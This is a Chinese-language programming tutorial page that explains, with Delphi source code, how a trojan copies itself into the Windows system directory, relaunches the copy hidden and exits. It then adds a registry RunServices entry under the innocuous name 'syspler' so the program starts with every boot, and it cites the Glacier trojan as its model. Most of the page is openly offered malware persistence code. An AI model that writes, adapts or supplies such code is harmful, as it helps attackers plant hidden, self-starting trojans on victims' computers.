手机
当前位置:查字典教程网 >编程开发 >Delphi >Delphi实现木马自我拷贝方法
Delphi实现木马自我拷贝方法
摘要:木马实现自我拷贝的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,继而退出...

木马实现自我拷贝的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,继而退出旧程序.

本例即以Delphi实现木马的自我拷贝。

首先打开Delphi,新建一个工程,在窗口的Create事件中写入如下代码:

procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到WindowsSystem下} Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件 application.Terminate;//退出 end; end;

其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.

function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'' then Result := Result + ''; end;

如何能使程序能在windows启动时自动启动?

为了程序能在Windows每次启动时自动运行,可以通过以下途径来实现.“冰河”用注册表的方式。

加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:

procedure TForm1.FormCreate(Sender: TObject); const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices'; var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows/System32下} Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end;

【Delphi实现木马自我拷贝方法】相关文章:

Delphi中判断文件是否为文本文件的函数

Delphi实现窗体感知鼠标滑过并自动隐藏与显示窗口的方法

Delphi创建开机启动项的方法示例

Delphi中设置条件断点的方法讲解

Delphi实现检测并枚举系统安装的打印机的方法

Delphi7中群发Email邮件的方法

Delphi中对时间操作方法汇总

Delphi实现窗口文字淡入淡出渐变效果的方法

Delphi实现图片滚动切换的完整实例代码

Delphi实现Listbox中的item根据内容显示不同颜色的方法

精品推荐
分类导航